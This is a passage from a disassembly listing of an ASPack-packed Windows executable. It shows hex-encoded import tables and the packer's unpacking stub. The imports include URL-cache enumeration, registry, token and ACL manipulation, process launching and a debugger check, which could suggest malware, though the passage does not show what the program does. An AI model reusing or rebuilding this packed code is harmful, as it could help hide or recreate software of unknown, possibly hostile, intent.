48BF0h, 48C08h dword_4482AC dd 2 dup(0) ; DATA XREF: .idata:off_448064o ; .idata:00448070o ... dd 48C18h, 48C2Ch, 48C44h, 48C58h, 48C68h, 48C78h, 48C8Ch dd 48CA0h, 48CB4h, 48CC8h, 48CDCh, 48CF8h, 48D10h dword_4482E8 dd 2 dup(0) ; DATA XREF: .idata:off_448078o ; .idata:00448084o ... dd 48D2Ch, 48D34h, 48D44h, 48D50h, 48D5Ch, 48D64h, 48D6Ch dd 48D78h, 48D84h, 48D90h, 48D98h, 48DA0h, 48DACh, 48DB8h dd 48DC0h, 48DCCh, 48DD8h, 48DE4h dword_448338 dd 2 dup(0) ; DATA XREF: .idata:off_44808Co ; .idata:00448098o ... dword_448340 dd 77121680h ; DATA XREF: sub_40BE30r dd 2 dup(0) dword_44834C dd 7620FB39h ; DATA XREF: sub_40BE3Cr dword_448350 dd 76220FB4h ; DATA XREF: sub_40BE48r dd 2 dup(0) dword_44835C dd 771C1E56h ; DATA XREF: sub_40BE54r dword_448360 dd 771C69DCh ; DATA XREF: sub_40BE60r dword_448364 dd 771C6F69h ; DATA XREF: sub_40BE6Cr dword_448368 dd 771C16BAh ; DATA XREF: sub_40BE78r dd 2 dup(0) dword_448374 dd 77E73628h ; DATA XREF: sub_40C908r dword_448378 dd 77E75CB5h ; DATA XREF: sub_40C914r dword_44837C dd 77E668D9h ; DATA XREF: sub_40C920r dword_448380 dd 77E7C938h ; DATA XREF: sub_40C92Cr dword_448384 dd 77E80656h ; DATA XREF: sub_40C938r dword_448388 dd 77E77CC4h ; DATA XREF: sub_40C944r dword_44838C dd 77E793EFh ; DATA XREF: sub_40C950r dword_448390 dd 77E73CE2h ; DATA XREF: sub_40C95Cr dword_448394 dd 77F5157Dh ; DATA XREF: sub_40C968r dword_448398 dd 77E7A099h ; DATA XREF: sub_40C974r dword_44839C dd 77E79F93h ; DATA XREF: sub_40C980r dword_4483A0 dd 77E7A5FDh ; DATA XREF: sub_40C98Cr dword_4483A4 dd 77E77CB7h ; DATA XREF: sub_40C998r dword_4483A8 dd 77E704FCh ; DATA XREF: sub_40C9A4r dword_4483AC dd 77E77963h ; DATA XREF: sub_40C9B0r dword_4483B0 dd 77E6AD34h ; DATA XREF: sub_40C9BCr dword_4483B4 dd 77E7751Ah ; DATA XREF: sub_40C9C8r dword_4483B8 dd 77E7C486h ; DATA XREF: sub_40C9D4r dword_4483BC dd 77E7C657h ; DATA XREF: sub_40C9E0r dword_4483C0 dd 77E681EFh ; DATA XREF: sub_40C9ECr dword_4483C4 dd 77E705B0h ; DATA XREF: sub_40C9F8r dword_4483C8 dd 77E6C674h ; DATA XREF: sub_40CA04r dword_4483CC dd 77E6D28Ch ; DATA XREF: sub_40CA10r dword_4483D0 dd 77E6D229h ; DATA XREF: sub_40CA1Cr dword_4483D4 dd 77E76C1Ah ; DATA XREF: sub_40CA28r dword_4483D8 dd 77E777EFh ; DATA XREF: sub_40CA34r dword_4483DC dd 77E7339Ch ; DATA XREF: sub_40CA40r dword_4483E0 dd 77E73196h ; DATA XREF: sub_40CA4Cr dword_4483E4 dd 77E72E92h ; DATA XREF: sub_40CA58r dword_4483E8 dd 77E805D8h ; DATA XREF: sub_40CA64r dword_4483EC dd 77E6BD13h ; DATA XREF: sub_40CA70r dword_4483F0 dd 77E79881h ; DATA XREF: sub_40CA7Cr dword_4483F4 dd 77E79A45h ; DATA XREF: sub_40CA88r dword_4483F8 dd 77E8074Ah ; DATA XREF: sub_40CA94r dword_4483FC dd 77E706B7h ; DATA XREF: sub_40CAA0r dword_448400 dd 77E78B82h ; DATA XREF: sub_40CAACr dword_448404 dd 77F6183Eh ; DATA XREF: sub_40CAB8r dword_448408 dd 77F82D5Ch ; DATA XREF: sub_40CAC4r dword_44840C dd 77E7A837h ; DATA XREF: sub_40CAD0r dword_448410 dd 77E78C81h ; DATA XREF: sub_40CADCr dword_448414 dd 77E7011Ah ; DATA XREF: sub_40CAE8r dword_448418 dd 77E61BE6h ; DATA XREF: sub_40CAF4r dword_44841C dd 77E616B4h ; DATA XREF: sub_40CB00r dword_448420 dd 77E7980Ah ; DATA XREF: sub_40CB0Cr dword_448424 dd 77E79E34h ; DATA XREF: sub_40CB18r dword_448428 dd 77E7F044h ; DATA XREF: sub_40CB24r dword_44842C dd 77E79924h ; DATA XREF: sub_40CB30r dword_448430 dd 77E684C6h ; DATA XREF: sub_40CB3Cr dword_448434 dd 77E79D8Ch ; DATA XREF: sub_40CB48r dword_448438 dd 77E7C2C4h ; DATA XREF: sub_40CB54r dword_44843C dd 77E74672h ; DATA XREF: sub_40CB60r dword_448440 dd 77E77EF1h ; DATA XREF: sub_40CB6Cr dword_448444 dd 77E61BB8h ; DATA XREF: sub_40CB78r dword_448448 dd 77E7AC37h ; DATA XREF: sub_40CB84r dd 2 dup(0) dword_448454 dd 77D5BA26h ; DATA XREF: sub_40CB90r dword_448458 dd 77D5C13Ah ; DATA XREF: sub_40CB9Cr dword_44845C dd 77D45F74h ; DATA XREF: sub_40CBA8r dword_448460 dd 77D4BDCAh ; DATA XREF: sub_40CBB4r dword_448464 dd 77D46254h ; DATA XREF: sub_40CBC0r dword_448468 dd 77D5C2CCh ; DATA XREF: sub_40CBCCr dword_44846C dd 77D48137h ; DATA XREF: sub_40CBD8r dword_448470 dd 77D4456Bh ; DATA XREF: sub_40CBE4r dword_448474 dd 77D47EE5h ; DATA XREF: sub_40CBF0r dword_448478 dd 77D444F0h ; DATA XREF: sub_40CBFCr dword_44847C dd 77D4A102h ; DATA XREF: sub_40CC08r dword_448480 dd 77D6ADD7h ; DATA XREF: sub_40CC14r dword_448484 dd 77D44200h ; DATA XREF: sub_40CC20r dword_448488 dd 77D43FEDh ; DATA XREF: sub_40CC2Cr dword_44848C dd 77D49951h ; DATA XREF: sub_40CC38r dword_448490 dd 77D8E10Eh ; DATA XREF: sub_40CC44r dword_448494 dd 77D52990h ; DATA XREF: sub_40CC50r dword_448498 dd 77D44A45h ; DATA XREF: sub_40CC5Cr dword_44849C dd 77D43DD3h ; DATA XREF: sub_40CC68r dword_4484A0 dd 77D441F2h ; DATA XREF: sub_40CC74r dword_4484A4 dd 77D4C96Ah ; DATA XREF: sub_40CC80r dword_4484A8 dd 77D4702Fh ; DATA XREF: sub_40CC8Cr dword_4484AC dd 77D4DC11h ; DATA XREF: sub_40CC98r dword_4484B0 dd 77D4B816h ; DATA XREF: sub_40CCA4r dword_4484B4 dd 77D47D27h ; DATA XREF: sub_40CCB0r dword_4484B8 dd 77D414D4h ; DATA XREF: sub_40CCBCr dword_4484BC dd 77D49A11h ; DATA XREF: sub_40CCC8r dword_4484C0 dd 77D47EC7h ; DATA XREF: sub_40CCD4r dword_4484C4 dd 77D46F5Bh ; DATA XREF: sub_40CCE0r align 10h dword_4484D0 dd 77C724ACh ; DATA XREF: sub_40CCECr dword_4484D4 dd 77C71E2Eh ; DATA XREF: sub_40CCF8r dword_4484D8 dd 77C71D83h ; DATA XREF: sub_40CD04r dword_4484DC dd 77C7E6D9h ; DATA XREF: sub_40CD10r dword_4484E0 dd 77C7F85Ah ; DATA XREF: sub_40CD1Cr dd 2 dup(0) dword_4484EC dd 77DD5D20h ; DATA XREF: sub_40CD28r dword_4484F0 dd 77DD5D40h ; DATA XREF: sub_40CD34r dword_4484F4 dd 77DD590Bh ; DATA XREF: sub_40CD40r dword_4484F8 dd 77DD189Ah ; DATA XREF: sub_40CD4Cr dword_4484FC dd 77DD22EAh ; DATA XREF: sub_40CD58r dword_448500 dd 77DD23D7h ; DATA XREF: sub_40CD64r dword_448504 dd 77DD59F0h ; DATA XREF: sub_40CD70r dword_448508 dd 77DE2934h ; DATA XREF: sub_40CD7Cr dword_44850C dd 77DE27A1h ; DATA XREF: sub_40CD88r dword_448510 dd 77DE2B37h ; DATA XREF: sub_40CD94r dword_448514 dd 77DD8664h ; DATA XREF: sub_40CDA0r dword_448518 dd 77DD8619h ; DATA XREF: sub_40CDACr dword_44851C dd 77DD8656h ; DATA XREF: sub_40CDB8r dd 2 dup(0) dword_448528 dd 73D96FEBh ; DATA XREF: sub_40CDC4r dword_44852C dd 73D91C28h ; DATA XREF: sub_40CDD0r dword_448530 dd 73D92B86h ; DATA XREF: sub_40CDDCr dword_448534 dd 73D9A3B0h ; DATA XREF: sub_40CDE8r dword_448538 dd 73D9B9A2h ; DATA XREF: sub_40CDF4r dword_44853C dd 73D91F60h ; DATA XREF: sub_40CE00r dword_448540 dd 73D9D320h ; DATA XREF: sub_40CE0Cr dword_448544 dd 73D9D340h ; DATA XREF: sub_40CE18r dword_448548 dd 73D9D5E0h ; DATA XREF: sub_40CE24r dword_44854C dd 73D9242Ch ; DATA XREF: sub_40CE30r dword_448550 dd 73D9DBAFh ; DATA XREF: sub_40CE3Cr dword_448554 dd 73D92226h ; DATA XREF: sub_40CE48r dword_448558 dd 73D9E5C5h ; DATA XREF: sub_40CE54r dword_44855C dd 73D9DBA2h ; DATA XREF: sub_40CE60r dword_448560 dd 73D9E61Eh ; DATA XREF: sub_40CE6Cr dword_448564 dd 73D9E65Ch ; DATA XREF: sub_40CE78r dword_448568 dd 73D9E69Ch ; DATA XREF: sub_40CE84r dword_44856C dd 73D9F24Ch ; DATA XREF: sub_40CE90r dd 0 dd 79530046h, 6C6C4173h, 7453636Fh, 676E6972h, 0 dd 69460015h, 6946646Eh, 55747372h, 61436C72h, 45656863h dd 7972746Eh, 41h, 6946001Ch, 654E646Eh, 72557478h, 6361436Ch dd 6E456568h, 41797274h, 0 dd 6F43006Ah, 61657243h, 6E496574h, 6E617473h, 6563h, 4C43007Ch dd 46444953h, 536D6F72h, 6E697274h, 67h, 6F430058h, 74696E49h dd 696C6169h, 657Ah, 6F43005Bh, 6E696E55h, 61697469h, 657A696Ch dd 0 dd 6544006Bh, 6574656Ch, 656C6946h, 41h, 7845009Bh, 72507469h dd 7365636Fh, 73h, 7845009Dh, 646E6170h, 69766E45h, 6D6E6F72h dd 53746E65h, 6E697274h, 417367h, 654700EDh, 6D6F4374h dd 646E616Dh, 656E694Ch, 41h, 65470112h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 65470115h, 72754374h, 746E6572h dd 65726854h, 64496461h, 0 dd 6547012Fh, 6C694674h, 7A695365h, 65h, 65470131h, 6C694674h dd 6D695465h, 65h, 6547013Ch, 73614C74h, 72724574h, 726Fh dd 65470147h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 dd 65470149h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470167h dd 6F725074h, 64644163h, 73736572h, 0 dd 6547016Ah, 6F725074h, 73736563h, 70616548h, 0 dd 65470188h, 73795374h, 446D6574h, 63657269h, 79726F74h dd 41h, 6C430027h, 4865736Fh, 6C646E61h, 65h, 6547019Ah dd 6D655474h, 74615070h, 4168h, 654701A4h, 63695474h, 756F436Bh dd 746Eh, 654701ACh, 72655674h, 6E6F6973h, 0 dd 654701ADh, 72655674h, 6E6F6973h, 417845h, 654701AFh dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh dd 654701B7h, 6E695774h, 73776F64h, 65726944h, 726F7463h dd 4179h, 6C4701BAh, 6C61626Fh, 41646441h, 416D6F74h, 0 dd 6C4701BEh, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C4701BFh dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 6C4701C8h, 6C61626Fh dd 6F6D654Dh, 74537972h, 73757461h, 0 dd 6E4901EBh, 6C726574h, 656B636Fh, 636E4964h, 656D6572h dd 746Eh, 734901F1h, 52646142h, 50646165h, 7274h, 734901F4h dd 57646142h, 65746972h, 727450h, 734901F7h, 75626544h dd 72656767h, 73657250h, 746E65h, 6F4C0203h, 694C6461h dd 72617262h, 4179h, 6F430033h, 69467970h, 41656Ch, 6F4C0209h dd 416C6163h, 636F6C6Ch, 0 dd 6F4C020Dh, 466C6163h, 656572h, 704F0230h, 754D6E65h dd 41786574h, 0 dd 704F0232h, 72506E65h, 7365636Fh, 73h, 6552025Ch, 69466461h dd 656Ch, 74520278h, 776E556Ch, 646E69h, 74520279h, 72655A6Ch dd 6D654D6Fh, 79726Fh, 72430042h, 65746165h, 656C6946h dd 41h, 655302A8h, 6C694674h, 696F5065h, 7265746Eh, 0 dd 655302ACh, 6C694674h, 6D695465h, 65h, 6C5302DCh, 706565h dd 655402E4h, 6E696D72h, 50657461h, 65636F72h, 7373h, 695602FEh dd 61757472h, 6C6C416Ch, 636Fh, 69560300h, 61757472h, 6572466Ch dd 65h, 69560305h, 61757472h, 6575516Ch, 7972h, 69570311h dd 68436564h, 6F547261h, 746C754Dh, 74794269h, 65h, 69570312h dd 6578456Eh, 63h, 7257031Dh, 46657469h, 656C69h, 7243004Fh dd 65746165h, 6574754Dh, 4178h, 736C0345h, 656C7274h, 416Eh dd 736C0346h, 656C7274h, 576Eh, 72430054h, 65746165h, 636F7250h dd 41737365h, 0 dd 7243005Ah, 65746165h, 65726854h, 6461h, 61430063h, 69576C6Ch dd 776F646Eh, 636F7250h, 41h, 6547006Ch, 6E695774h, 54776F64h dd 41747865h, 0 dd 65470073h, 6E695774h, 52776F64h, 746365h, 69460078h dd 6957646Eh, 776F646Eh, 41h, 6547007Ch, 6E695774h, 776F64h dd 65470011h, 616C4374h, 614E7373h, 41656Dh, 655300CFh dd 636F4674h, 7375h, 654700D4h, 726F4674h, 6F726765h, 57646E75h dd 6F646E69h, 77h, 6F4C0019h, 75436461h, 726F7372h, 41h dd 6553010Ah, 6D695474h, 7265h, 6F4C001Bh, 63496461h, 416E6Fh dd 654D0140h, 67617373h, 786F4265h, 41h, 65470023h, 73654D74h dd 65676173h, 41h, 65470169h, 6E695774h, 4C776F64h, 41676E6Fh dd 0 dd 6553016Bh, 6E695774h, 4C776F64h, 41676E6Fh, 0 dd 7243016Eh, 65746165h, 6B736544h, 41706F74h, 0 dd 65530175h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470176h dd 72685474h, 44646165h, 746B7365h, 706Fh, 72540027h, 6C736E61h dd 4D657461h, 61737365h, 6567h, 69440028h, 74617073h, 654D6863h dd 67617373h, 4165h, 737701FBh, 6E697270h, 416674h, 65530034h dd 654D646Eh, 67617373h, 4165h, 65520005h, 74736967h, 6C437265h dd 41737361h, 0 dd 6F500041h, 75517473h, 654D7469h, 67617373h, 65h, 6853004Fh dd 6957776Fh, 776F646Eh, 0 dd 72430053h, 65746165h, 646E6957h, 7845776Fh, 41h, 65440055h dd 6F727473h, 6E695779h, 776F64h, 6F4D005Ah, 69576576h dd 776F646Eh, 0 dd 65440061h, 6E695766h, 50776F64h, 41636F72h, 0 dd 65470089h, 6F745374h, 624F6B63h, 7463656Ah, 0 dd 655300CAh, 436B4274h, 726F6C6Fh, 0 dd 655300DDh, 78655474h, 6C6F4374h, 726Fh, 724300FAh, 65746165h dd 73757242h, 646E4968h, 63657269h, 74h, 7243001Ch, 65746165h dd 746E6F46h, 41h, 704F0018h, 72506E65h, 7365636Fh, 6B6F5473h dd 6E65h, 6547001Ah, 6B6F5474h, 6E496E65h, 6D726F66h, 6F697461h dd 6Eh, 65520173h, 65724367h, 4B657461h, 78457965h, 41h dd 65520176h, 6F6C4367h, 654B6573h, 79h, 6552017Bh, 65704F67h dd 79654B6Eh, 417845h, 65520186h, 65755167h, 61567972h dd 4565756Ch, 4178h, 65520192h, 74655367h, 756C6156h, 41784565h dd 0 dd 654701CCh, 63655374h, 74697275h, 666E4979h, 6Fh, 655301CFh dd 63655374h, 74697275h, 666E4979h, 6Fh, 655301D6h, 746E4574h dd 73656972h, 63416E49h, 416Ch, 6547004Ah, 64695374h, 6E656449h dd 69666974h, 75417265h, 726F6874h, 797469h, 6547004Bh dd 64695374h, 41627553h, 6F687475h, 79746972h, 0 dd 6547004Ch, 64695374h, 41627553h, 6F687475h, 79746972h dd 6E756F43h, 74h, 695F00E8h, 616F74h, 5F5F0018h, 4D746547h dd 416E6961h, 736772h, 735F0181h, 7065656Ch, 0 dd 735F01A6h, 63697274h, 706Dh, 626101F6h, 73h, 7865020Ah dd 7469h, 656D0253h, 706D636Dh, 0 dd 656D0254h, 7970636Dh, 0 dd 656D0256h, 7465736Dh, 0 dd 61720260h, 657369h, 61720261h, 646Eh, 6973026Ah, 6C616E67h dd 0 dd 7073026Dh, 746E6972h, 66h, 7273026Fh, 646E61h, 73730270h dd 666E6163h, 0 dd 74730271h, 74616372h, 0 dd 74730272h, 72686372h, 0 dd 7473027Bh, 6D636E72h, 70h, 41454C4Fh, 32335455h, 4C4C442Eh dd 0 dd offset off_448000 aWininet_dll db 'WININET.DLL',0 dd offset off_448014 dd offset off_448014 aOle32_dll db 'ole32.DLL',0 align 4 dd offset off_448028 dd offset off_448028 dd offset off_448028 dd offset off_448028 aKernel32_dll_1 db 'KERNEL32.dll',0 align 4 dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C dd offset off_44803C aUser32_dll_0 db 'USER32.DLL',0 align 4 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 dd offset off_448050 aGdi32_dll db 'GDI32.DLL',0 align 4 dd offset off_448064 dd offset off_448064 dd offset off_448064 dd offset off_448064 dd offset off_448064 aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 align 4 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 dd offset off_448078 aCrtdll_dll db 'CRTDLL.DLL',0 align 4 dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C dd offset off_44808C align 1000h _idata ends ; Section 5. (virtual address 0004A000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 0004A000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _aspack segment para public 'DATA' use32 assume cs:_aspack ;org 44A000h db 90h ; =============== S U B R O U T I N E ======================================= public start start proc near pusha call sub_44A577 jmp short loc_44A055 ; --------------------------------------------------------------------------- align 4 dd 0D9000000h, 4873h, 90DB8700h, 6 dup(0) dd 4A00001h, 38000000h, 36000000h, 0E7980A00h, 0E79E3477h dd 77h, 3 dup(0) db 0 ; --------------------------------------------------------------------------- loc_44A055: ; CODE XREF: start+6j mov ebx, offset dword_4439A4 add ebx, ebp sub ebx, ss:dword_4439D5[ebp] cmp ss:dword_444804[ebp], 0 mov ss:dword_444804[ebp], ebx jnz loc_44A4DB lea eax, dword_44480C[ebp] push eax call ss:dword_444918[ebp] mov ss:dword_444808[ebp], eax mov edi, eax lea ebx, dword_444819[ebp] push ebx push eax call ss:dword_444914[ebp] mov ss:dword_4439E1[ebp], eax lea ebx, dword_444826[ebp] push ebx push edi call ss:dword_444914[ebp] mov ss:dword_4439E5[ebp], eax lea eax, dword_443B72[ebp] jmp eax ; --------------------------------------------------------------------------- align 10h dd 40h, 2 dup(0) dd 80000000h, 12190004h, 2 dup(0) dd 10000000h, 0BE9C0000h, 0C0000000h, 0BC0C0003h, 80000000h dd 10540004h, 36h dup(0) dd 9D8B0000h, 443A66h, 0A74DB0Bh, 8587038Bh, 443A6Ah, 0B58D0389h dd 443A82h, 0F003E83h, 11D84h, 82B58D00h, 6A00443Ah, 10006804h dd 680000h, 6A000018h, 0E195FF00h, 89004439h, 4439DD85h dd 4468B00h, 10E05h, 68046A00h, 1000h, 0FF006A50h, 4439E195h dd 0D9858900h, 56004439h, 9D031E8Bh, 444804h, 39DDB5FFh dd 76FF0044h, 0E8535004h, 339h, 39D4BD80h, 75000044h, 0D485FE5Ch dd 8B004439h, 4BD033Eh, 0FF004448h, 0C307C637h, 78FD7FFh dd 53565150h, 0E983C88Bh, 0D9B58B06h, 33004439h, 74C90BDBh dd 0E83CAC2Ch, 0EB0A74h, 474E93Ch, 0EDEB4943h, 0EB068Bh dd 75063E80h, 0C10024F3h, 0C32B18C0h, 0C3830689h, 4C68305h dd 0EB05E983h, 595E5BD0h, 8BC88B58h, 4BD033Eh, 8B004448h dd 4439D9B5h, 2F9C100h, 0C88BA5F3h, 0F303E183h, 685EA4h dd 6A000080h, 0D9B5FF00h, 0FF004439h, 4439E595h, 8C68300h dd 0F003E83h, 0FFFF2885h, 800068FFh, 6A0000h, 39DDB5FFh dd 95FF0044h, 4439E5h, 3A669D8Bh, 0DB0B0044h, 38B0874h dd 3A6A8587h, 958B0044h, 444804h, 3A62858Bh, 0D02B0044h dd 0C28B7974h, 3310E8C1h, 6EB58BDBh, 300443Ah, 444804B5h dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 4804BD03h dd 0C6830044h, 1E8B6608h, 830CEBC1h, 0C7401FBh, 7402FB83h dd 3FB8316h, 2CEB2074h, 811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h dd 44480495h, 0ADB58B00h, 0B004439h, 31174F6h, 0C00BADF2h dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 3A72B58Bh, 958B0044h dd 444804h, 468BF203h, 0FC0850Ch, 10A84h, 8BC20300h, 95FF50D8h dd 444918h, 775C085h, 1C95FF53h, 89004449h, 4439B185h dd 0B585C700h, 4439h, 8B000000h, 44480495h, 85068B00h dd 8B0375C0h, 0C2031046h, 39B58503h, 188B0044h, 3107E8Bh dd 0B5BD03FAh, 85004439h, 0A2840FDBh, 0F7000000h, 0C3h dd 3047580h, 534343DAh, 0FFFFE381h, 0FF537FFFh, 4439B1B5h dd 1495FF00h, 85004449h, 6F755BC0h, 0C3F7h, 19758000h dd 0C468B57h, 48048503h, 53500044h, 487F858Dh, 57500044h dd 99E9h, 0FFE38100h, 8B7FFFFFh, 44480885h, 0B1853900h dd 75004439h, 0D38B5724h, 2E2C14Ah, 39B19D8Bh, 7B8B0044h dd 3B7C8B3Ch, 3B5C0378h, 13048B1Ch, 39B18503h, 0EB5F0044h dd 468B5716h, 485030Ch, 50004448h, 0D0858D53h, 50004448h dd 894BEB57h, 0B5858307h, 4004439h, 0FFFF32E9h, 890689FFh dd 46890C46h, 14C68310h, 4804958Bh, 0EBE90044h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_44A4DB: ; CODE XREF: start+6Ej mov eax, ss:dword_443A76[ebp] push eax add eax, ss:dword_444804[ebp] pop ecx or ecx, ecx mov ss:dword_443EA1[ebp], eax popa jnz short loc_44A4FC mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_44A4FC: ; CODE XREF: start+4F1j push offset sub_401219 retn start endp ; --------------------------------------------------------------------------- aLeHd db '',8,'HD',0 aNnahd db 'AHD',0 dw 5051h dd 491495FFh, 85890044h, 4439EDh, 4851858Dh, 0FF500044h dd 44491C95h, 4D858900h, 8D004448h, 44485C8Dh, 0FF505100h dd 44491495h, 0F1858900h, 8B004439h, 44484D85h, 688D8D00h dd 51004448h, 1495FF50h, 0FF004449h, 10C483D0h, 8D306A5Fh dd 4448729Dh, 6A575300h, 0F195FF00h, 6A004439h, 0ED95FFFFh db 39h, 44h, 0 ; =============== S U B R O U T I N E ======================================= sub_44A577 proc near ; CODE XREF: start+1p mov ebp, [esp+0] sub ebp, offset byte_4439AB retn sub_44A577 endp ; --------------------------------------------------------------------------- db 8Bh, 44h, 24h dd 54EC8110h, 8D000003h, 5004244Ch, 3A8E8h, 248C8B00h dd 35Ch, 5824948Bh, 51000003h, 244C8D52h, 40DE80Ch, 0C0840000h dd 0C8830A75h, 54C481FFh, 0C3000003h, 60248C8Bh, 8D000003h dd 51502404h, 0C244C8Dh, 5EFE8h, 75C08400h, 0FFC8830Ah dd 354C481h, 8BC30000h, 0C4812404h, 354h, 10C2h, 4030201h dd 8070605h, 100E0C0Ah, 201C1814h, 40383028h, 80706050h dd 0E0C0A0h, 0 dd 1000000h, 2010101h, 3020202h, 4030303h, 5040404h, 50505h dd 1000000h, 3020201h, 5040403h, 7060605h, 9080807h, 0B0A0A09h dd 0D0C0C0Bh, 0F0E0E0Dh, 1110100Fh, 3 dup(11111111h), 12121211h dd 12121212h, 0D18B5112h, 8B956h, 39570000h, 3572044Ah dd 0FFF8BE53h, 28BFFFFh, 8840188Ah, 890C245Ch, 8428B02h dd 0C247C8Bh, 8108E0C1h, 0FFE7h, 8BC70B00h, 0FE03047Ah dd 8B084289h, 47A89C7h, 0D273C13Bh, 4728B5Bh, 8B08428Bh dd 2B10247Ch, 0B9E8D3CEh, 18h, 0FF25CF2Bh, 0D300FFFFh dd 5FF703E8h, 5E047289h, 4C259h, 424448Bh, 824548Bh, 848189h dd 91890000h, 88h, 8982048Dh, 8C81h, 1000500h, 8C20000h dd 98EC8100h, 53000000h, 0D18B5655h, 0FB957h, 0AA8B0000h dd 84h, 7C8DC033h, 0F6332C24h, 0BC8BABF3h, 0AC24h, 89EE3B00h dd 76202454h, 8AC93315h, 5C8B380Ch, 4C8D288Ch, 4043288Ch dd 1989C53Bh, 17B9EB72h, 89000000h, 89282474h, 72890472h dd 24748944h, 89FF3368h, 0C71C2474h, 1102444h, 89000000h dd 8D18244Ch, 7489086Ah, 448B1424h, 0E0D32C34h, 0FF81F803h dd 1000000h, 24247C89h, 8E870Fh, 448B0000h, 7D892834h dd 3C5D8B00h, 0F983C303h, 40458910h, 6C344489h, 758B4D7Ch dd 24448B00h, 245C8B10h, 8CBA8B1Ch, 0C1000000h, 0CE8B10EEh dd 0FF25h, 3CB2B00h, 8BD88AFBh, 89FB8AD1h, 8B1C2474h, 24748BC3h dd 10E0C114h, 0C1C38B66h, 0ABF302E9h, 548BCA8Bh, 0E1832024h dd 8BAAF303h, 8B24247Ch, 8B18244Ch, 83102444h, 494004C6h dd 8304C583h, 448909F9h, 4C891024h, 74891824h, 8D0F1424h dd 0FFFFFF62h, 0FF81h, 0F740100h, 325D5E5Fh, 0C4815BC0h dd 98h, 8B0004C2h, 8482h, 85C93300h, 8B3B76C0h, 0AC24B4h dd 48A0000h, 74C08431h, 88BA8B22h, 25000000h, 0FFh, 6884448Bh dd 33870C89h, 31048AC0h, 68847C8Bh, 6884448Dh, 8B388947h dd 8482h, 0C83B4100h, 5E5FCC72h, 5B01B05Dh, 98C481h, 4C20000h dd 56535100h, 8B57F18Bh, 4788306h, 8B307208h, 41118A08h dd 0C245488h, 488B0889h, 24548B08h, 8E1C10Ch, 0FFE281h dd 0CA0B0000h, 8304508Bh, 4889F8C2h, 89CA8B08h, 0F9830450h dd 8BD07308h, 408B0450h, 8B908h, 0CA2B0000h, 4E8BE8D3h dd 0FE002524h, 0C13B00FFh, 968B1473h, 8Ch, 0E9C1C88Bh dd 8ADB3310h, 0D38B111Ch, 463B3BEBh, 3B0A732Ch, 0D21B2846h dd 0EB0AC283h, 30463B2Ch, 0BBA0773h, 0EB000000h, 34463B20h dd 0CBA0773h, 0EB000000h, 38463B14h, 0DBA0773h, 0EB000000h dd 3C463B08h, 0C283D21Bh, 8B0E8B0Fh, 0FA030479h, 8B047989h dd 18B9961Ch, 2B000000h, 5FCA2BC3h, 4C8BE8D3h, 0C1034496h dd 888E8Bh, 5B5E0000h, 5981048Bh, 575653C3h, 0D233F98Bh dd 0B78DC033h, 268h, 0E8561689h, 25Eh, 0C7308C8Ah, 5E00443Fh dd 1BBh, 4C68300h, 0D303E3D3h, 3AF88340h, 448BDE72h, 4F8D1024h dd 0D1685010h, 0E8000002h, 0FFFFFD48h, 8D1C6A50h, 0A08Fh dd 0FD3AE800h, 6A50FFFFh, 308F8D08h, 0E8000001h, 0FFFFFD2Ch dd 8D136A50h, 1C08Fh, 0FD1EE800h, 8789FFFFh, 260h, 0F5055E5Fh dd 5B000002h, 8B0004C2h, 8B082444h, 244C8BD1h, 2895704h dd 8904428Dh, 440C708h, 20h, 89104289h, 0A082h, 30828900h dd 89000001h, 1C082h, 0B9C03300h, 0BDh, 2508289h, 82890000h dd 254h, 2588289h, 0BA8B0000h, 260h, 